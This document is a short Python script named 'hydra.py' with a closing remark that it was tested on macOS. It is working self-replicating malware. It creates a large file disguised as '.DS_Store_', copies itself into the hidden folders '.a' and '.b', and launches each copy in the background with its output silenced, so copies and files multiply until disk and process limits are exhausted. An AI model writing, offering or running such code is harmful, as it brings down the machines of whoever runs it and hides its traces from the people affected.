hydra.py

#!/usr/bin/env python

import os
from sys import argv
from subprocess import Popen

def create_file(hidden, n):
    with open(hidden, 'wb') as f:
        f.seek(n-1)
        f.write(b'\x00')

def self_replicate(prog, a, b):
    dest = './'+a+'/'+prog
    os.system('mkdir '+a+' </dev/null >/dev/null 2>&1')
    os.system('cp '+prog+' '+dest+' </dev/null >/dev/null 2>&1')
    dest = './'+b+'/'+prog
    os.system('mkdir '+b+' </dev/null >/dev/null 2>&1')
    os.system('cp '+prog+' '+dest+' </dev/null >/dev/null 2>&1')

def execute_replicas(prog, a, b):
    Popen(['cd '+a+'/'+' ; '+'nohup python '+prog
          +' </dev/null >/dev/null 2>&1 &'], shell=True)
    Popen(['cd '+b+'/'+' ; '+'nohup python '+prog
          +' </dev/null >/dev/null 2>&1 &'], shell=True)

def slow_computer(prog, hidden, n, a, b):
    create_file(hidden, n)
    self_replicate(prog, a, b)
    execute_replicas(prog, a, b)

if __name__ == '__main__':
    slow_computer(argv[0], '.DS_Store_', 2**25, '.a', '.b')

This was only tested on MacOS but I'm sure it would run on any Unix-y system with Python and nohup installed.